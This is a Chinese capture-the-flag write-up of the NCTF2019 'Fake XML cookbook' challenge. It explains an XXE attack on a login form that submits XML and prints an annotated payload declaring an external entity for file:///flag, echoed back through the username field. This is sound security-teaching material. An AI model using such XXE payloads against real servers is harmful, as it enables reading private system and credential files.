记[NCTF2019]Fake XML cookbook 关于XXE攻击的思考

看标题,提示是一个XML利用类型的题目。
打开网站,发现只有一个登录框
在这里插入图片描述
经过扫描等一些测试无果后,我们再回到标题提到的XML上。通过抓包我们可以发现一些东西
在这里插入图片描述回显为:
在这里插入图片描述

  • 这里表单提交的数据类型为XML,因此我们可以尝试XXE攻击。详细的讲解可以参考这篇文章。https://www.freebuf.com/vuls/175451.html
  • 该请求会返回用户名

注:XXE(XML外部实体)攻击,攻击者可以恶意构造一点XML表单来达到攻击的目的。
XML可以通过一些外部实体来执行一些命令。常见的有下面这些。
在这里插入图片描述这里我们可以利用文件读取来获取flag,构造如下payload即可读取/flag的内容

<?xml version="1.0" encoding="utf-8"?><!--此行可以省去-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
 <!ENTITY admin SYSTEM "file:///flag">
 ]>
<user><username>&admin;</username><password>123456</password></user>

注:

  • 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。形如
  • <!ENTITY admin SYSTEM "file:///flag"> 的功能是声明一个外部实体
  • 其结构依次是<!ENTITY 变量名 变量类型 默认值>
  • SYSTEM标识符意味着该实体将从外部来源获取内容,可以使用上图中列举出的一些协议。
  • &变量; 表示对变量的引用,这里表示引用了admin这个变量
  • file:// 读取指定位置的文件
  • 根据之前的回显,我们可以判断返回的数据中包含username这一项,所以我们将变量设置在username这个位置才能拿到flag

至此成功获得flag
在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值